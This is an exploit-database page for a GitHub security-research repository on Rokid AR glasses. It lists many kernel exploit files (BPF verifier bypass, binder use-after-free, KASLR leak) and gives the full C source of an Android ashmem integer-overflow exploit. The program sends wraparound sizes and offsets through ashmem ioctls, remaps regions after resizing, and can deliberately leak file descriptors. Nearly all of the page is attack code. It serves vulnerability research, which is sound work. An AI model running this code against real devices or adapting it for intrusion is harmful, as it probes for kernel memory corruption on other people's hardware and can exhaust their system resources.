Exploit databaseDownload repository ZIP
GH-e6e5922ef9ac5cc7d4897803cb452516
zero2005x/rokid-rv101-research
Sources for CVE-2026-43499
164 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files254
zero2005x/rokid-rv101-researchRevision c74832d113c5
- ↑..Parent directory
- ghostlock_rv101/
- slabprobe/
- adsprpc_dmabuf.c
- adsprpc_hwbinder_probe.c
- adsprpc_ioctl_test.c
- adsprpc_ioctl_v2.c
- adsprpc_mmap_probe.c
- adsprpc_secure_exploit.c
- adsprpc_test.c
- alt_attack_surface.c
- alt_attack_surface_v2.c
- ashmem_kgsl_bridge.c
- ashmem_overflow_exploit.c
- ashmem_probe.c
- attack_surface_probe.c
- binder_ashmem_attack.c
- binder_bpf_exploit.c
- binder_cmd_test.c
- binder_fd_steal.c
- binder_probe.c
- binder_simple_test.c
- binder_uaf_v5.c
- bpf_5_10_exploit.c
- bpf_advanced.c
- bpf_bypass_v2.c
- bpf_check.c
- bpf_deep_probe.c
- bpf_helper_leak.c
- bpf_info_leak.c
- bpf_infoleak_v2.c
- bpf_kaslr_exploit.c
- bpf_leak_v3.c
- bpf_oob_read.c
- bpf_research.c
- bpf_ringbuf_exploit.c
- bpf_ringbuf_oob_v6.c
- bpf_sandbox_kaslr_leak.c
- bpf_simple_leak.c
- bpf_size_confusion.c
- bpf_stack_exploit.c
- bpf_type_survey.c
- bpf_verifier_bypass.c
- bpf_verifier_exploit.c
- bpf_vuln_probe.c
- bpf_vuln_scanner.c
- cgroup_bpf_exploit.c
- cgroup_skb_probe.c
- cross_cache_exploit.c
- crossfd_physical_scan.c
- cve-2021-22555_exploit.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
source_code/ashmem_overflow_exploit.c
C · 10,921 bytes/*
* ashmem_overflow_exploit.c - Ashmem Integer Overflow Exploitation
*
* Target: Rokid AR Glasses (Kernel 5.10.209)
* Finding: ASHMEM_SET_SIZE accepts overflow values like 0xffffffffffffffff
*
* Attack vector:
* 1. Set size to huge value that wraps around
* 2. mmap with controlled size
* 3. Access memory beyond legitimate bounds
*
* Compile:
* $NDK = "C:\Users\<USER>\AppData\Local\Android\Sdk\ndk\29.0.14206865"
* $CC = "$NDK\toolchains\llvm\prebuilt\windows-x86_64\bin\aarch64-linux-android31-clang.cmd"
* & $CC -static -O2 -pthread -o ashmem_overflow ashmem_overflow_exploit.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/ashmem.h>
#define PAGE_SIZE 4096
void dump_memory(void *addr, size_t len)
{
unsigned char *p = (unsigned char *)addr;
for (size_t i = 0; i < len; i += 16)
{
printf(" %p: ", p + i);
for (size_t j = 0; j < 16 && (i + j) < len; j++)
{
printf("%02x ", p[i + j]);
}
printf(" | ");
for (size_t j = 0; j < 16 && (i + j) < len; j++)
{
char c = p[i + j];
printf("%c", (c >= 32 && c < 127) ? c : '.');
}
printf("\n");
}
}
// Test 1: Set huge size, mmap small region
int test_size_mismatch(void)
{
printf("\n[TEST 1] Size Mismatch Attack\n");
printf("====================================\n");
int fd = open("/dev/ashmem", O_RDWR);
if (fd < 0)
return -1;
ioctl(fd, ASHMEM_SET_NAME, "overflow_test");
// Set size to -1 (wraps to max unsigned)
size_t huge_size = (size_t)-1;
int ret = ioctl(fd, ASHMEM_SET_SIZE, huge_size);
printf("[*] Set size to 0x%lx: %s\n", (unsigned long)huge_size,
ret == 0 ? "ACCEPTED" : strerror(errno));
// Get the actual size back
int actual_size = ioctl(fd, ASHMEM_GET_SIZE);
printf("[*] Reported size: %d (0x%x)\n", actual_size, actual_size);
// Try to mmap a reasonable size
size_t mmap_size = PAGE_SIZE * 4;
void *map = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (map == MAP_FAILED)
{
printf("[-] mmap failed: %s\n", strerror(errno));
close(fd);
return -1;
}
printf("[+] mmap(%zu bytes) succeeded: %p\n", mmap_size, map);
// Try to access
printf("[*] Writing pattern to mapped region...\n");
memset(map, 0x41, mmap_size);
printf("[+] Write succeeded\n");
munmap(map, mmap_size);
close(fd);
return 0;
}
// Test 2: Overflow with specific wraparound values
int test_wraparound_values(void)
{
printf("\n[TEST 2] Wraparound Value Analysis\n");
printf("====================================\n");
// Values that might cause interesting wraparound behavior
size_t test_sizes[] = {
(size_t)-PAGE_SIZE, // Wraps to near-max
(size_t)-1, // Max value
0x8000000000000000ULL, // Sign bit set
0xFFFFFFFF00000000ULL, // Upper 32 bits set
0x100000000ULL - PAGE_SIZE, // Just under 4GB
0x100000000ULL, // Exactly 4GB
0x100000000ULL + PAGE_SIZE, // Just over 4GB
};
for (int i = 0; i < sizeof(test_sizes) / sizeof(test_sizes[0]); i++)
{
int fd = open("/dev/ashmem", O_RDWR);
if (fd < 0)
continue;
char name[32];
snprintf(name, sizeof(name), "wrap_%d", i);
ioctl(fd, ASHMEM_SET_NAME, name);
int ret = ioctl(fd, ASHMEM_SET_SIZE, test_sizes[i]);
int actual = ioctl(fd, ASHMEM_GET_SIZE);
printf("[*] Size 0x%016lx -> SET: %s, GET: 0x%x (%d)\n",
(unsigned long)test_sizes[i],
ret == 0 ? "OK" : "FAIL",
actual, actual);
if (ret == 0)
{
// Try mmap
size_t mmap_size = PAGE_SIZE;
void *map = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (map != MAP_FAILED)
{
printf(" -> mmap OK at %p\n", map);
munmap(map, mmap_size);
}
else
{
printf(" -> mmap FAIL: %s\n", strerror(errno));
}
}
close(fd);
}
return 0;
}
// Test 3: mmap at different offsets
int test_offset_overflow(void)
{
printf("\n[TEST 3] Offset Overflow Test\n");
printf("====================================\n");
int fd = open("/dev/ashmem", O_RDWR);
if (fd < 0)
return -1;
ioctl(fd, ASHMEM_SET_NAME, "offset_test");
// Set large size
size_t region_size = (size_t)-1;
ioctl(fd, ASHMEM_SET_SIZE, region_size);
// Try mmap at different offsets
off_t offsets[] = {
0,
PAGE_SIZE,
PAGE_SIZE * 1024,
0x10000000,
0x80000000,
(off_t)-PAGE_SIZE,
};
for (int i = 0; i < sizeof(offsets) / sizeof(offsets[0]); i++)
{
void *map = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_SHARED, fd, offsets[i]);
printf("[*] mmap(offset=0x%lx): ", (long)offsets[i]);
if (map != MAP_FAILED)
{
printf("OK at %p\n", map);
// Try to read
volatile unsigned long val = *(volatile unsigned long *)map;
printf(" -> Read 0x%lx\n", val);
munmap(map, PAGE_SIZE);
}
else
{
printf("FAIL: %s\n", strerror(errno));
}
}
close(fd);
return 0;
}
// Test 4: Size change after mmap (CVE-style)
int test_size_change_after_mmap(void)
{
printf("\n[TEST 4] Size Change After mmap\n");
printf("====================================\n");
int fd = open("/dev/ashmem", O_RDWR);
if (fd < 0)
return -1;
ioctl(fd, ASHMEM_SET_NAME, "resize_test");
// Initial small size
size_t initial_size = PAGE_SIZE * 4;
ioctl(fd, ASHMEM_SET_SIZE, initial_size);
printf("[*] Initial size: %zu\n", initial_size);
// mmap
void *map = mmap(NULL, initial_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (map == MAP_FAILED)
{
printf("[-] mmap failed\n");
close(fd);
return -1;
}
printf("[+] mmap at %p\n", map);
// Write pattern
memset(map, 0x41, initial_size);
// Try to change size after mmap
size_t new_size = PAGE_SIZE;
int ret = ioctl(fd, ASHMEM_SET_SIZE, new_size);
printf("[*] Change size to %zu: %s\n", new_size,
ret == 0 ? "ALLOWED (suspicious!)" : strerror(errno));
if (ret == 0)
{
// Access original larger region
printf("[!] Accessing original region after shrink...\n");
volatile char c = ((char *)map)[initial_size - 1];
printf("[!] Still accessible! Value: 0x%02x\n", (unsigned char)c);
}
// Try expanding
size_t expand_size = PAGE_SIZE * 16;
ret = ioctl(fd, ASHMEM_SET_SIZE, expand_size);
printf("[*] Expand size to %zu: %s\n", expand_size,
ret == 0 ? "ALLOWED (suspicious!)" : strerror(errno));
munmap(map, initial_size);
close(fd);
return 0;
}
// Test 5: Multiple FD referencing same region
int test_shared_fd_race(void)
{
printf("\n[TEST 5] Shared FD Analysis\n");
printf("====================================\n");
int fd1 = open("/dev/ashmem", O_RDWR);
if (fd1 < 0)
return -1;
ioctl(fd1, ASHMEM_SET_NAME, "shared_test");
ioctl(fd1, ASHMEM_SET_SIZE, PAGE_SIZE * 4);
void *map1 = mmap(NULL, PAGE_SIZE * 4, PROT_READ | PROT_WRITE, MAP_SHARED, fd1, 0);
if (map1 == MAP_FAILED)
{
close(fd1);
return -1;
}
printf("[*] Original FD=%d, map=%p\n", fd1, map1);
memset(map1, 0x41, PAGE_SIZE * 4);
// dup the fd
int fd2 = dup(fd1);
printf("[*] Dup'd FD=%d\n", fd2);
// Map through dup'd fd
void *map2 = mmap(NULL, PAGE_SIZE * 4, PROT_READ | PROT_WRITE, MAP_SHARED, fd2, 0);
if (map2 != MAP_FAILED)
{
printf("[*] Second map=%p\n", map2);
// Check if they share memory
((char *)map1)[0] = 'X';
if (((char *)map2)[0] == 'X')
{
printf("[+] Maps share same memory\n");
}
// Close original, access through dup
close(fd1);
printf("[*] Closed original fd, accessing through dup...\n");
volatile char c = ((char *)map2)[0];
printf("[*] Value: '%c' (0x%02x)\n", c, c);
munmap(map2, PAGE_SIZE * 4);
}
munmap(map1, PAGE_SIZE * 4);
close(fd2);
return 0;
}
// Test 6: Memory leak via large allocation spam
int test_allocation_leak(void)
{
printf("\n[TEST 6] Allocation Leak Test\n");
printf("====================================\n");
#define LEAK_ITERATIONS 1000
int fds[LEAK_ITERATIONS];
int success = 0;
printf("[*] Creating %d ashmem regions...\n", LEAK_ITERATIONS);
for (int i = 0; i < LEAK_ITERATIONS; i++)
{
fds[i] = open("/dev/ashmem", O_RDWR);
if (fds[i] >= 0)
{
char name[32];
snprintf(name, sizeof(name), "leak_%d", i);
ioctl(fds[i], ASHMEM_SET_NAME, name);
ioctl(fds[i], ASHMEM_SET_SIZE, PAGE_SIZE * 16);
void *map = mmap(NULL, PAGE_SIZE * 16, PROT_READ | PROT_WRITE,
MAP_SHARED, fds[i], 0);
if (map != MAP_FAILED)
{
memset(map, i & 0xFF, PAGE_SIZE * 16);
munmap(map, PAGE_SIZE * 16);
success++;
}
}
}
printf("[*] Created %d/%d regions\n", success, LEAK_ITERATIONS);
// Close all but leak some
printf("[*] Closing fds (but leaking some)...\n");
for (int i = 0; i < LEAK_ITERATIONS; i++)
{
if (fds[i] >= 0 && (i % 10) != 0)
{ // Leak every 10th
close(fds[i]);
}
}
printf("[*] Leaked ~%d file descriptors\n", LEAK_ITERATIONS / 10);
return 0;
}
int main(int argc, char *argv[])
{
printf("==========================================\n");
printf(" Ashmem Integer Overflow Exploit v1.0 \n");
printf(" Target: Kernel 5.10.209 \n");
printf("==========================================\n");
printf("\n[*] PID: %d, UID: %d\n", getpid(), getuid());
// Run tests
test_size_mismatch();
test_wraparound_values();
test_offset_overflow();
test_size_change_after_mmap();
test_shared_fd_race();
if (argc > 1 && strcmp(argv[1], "--leak") == 0)
{
test_allocation_leak();
}
printf("\n==========================================\n");
printf(" Tests Complete \n");
printf(" Check 'dmesg' for kernel messages \n");
printf("==========================================\n");
return 0;
}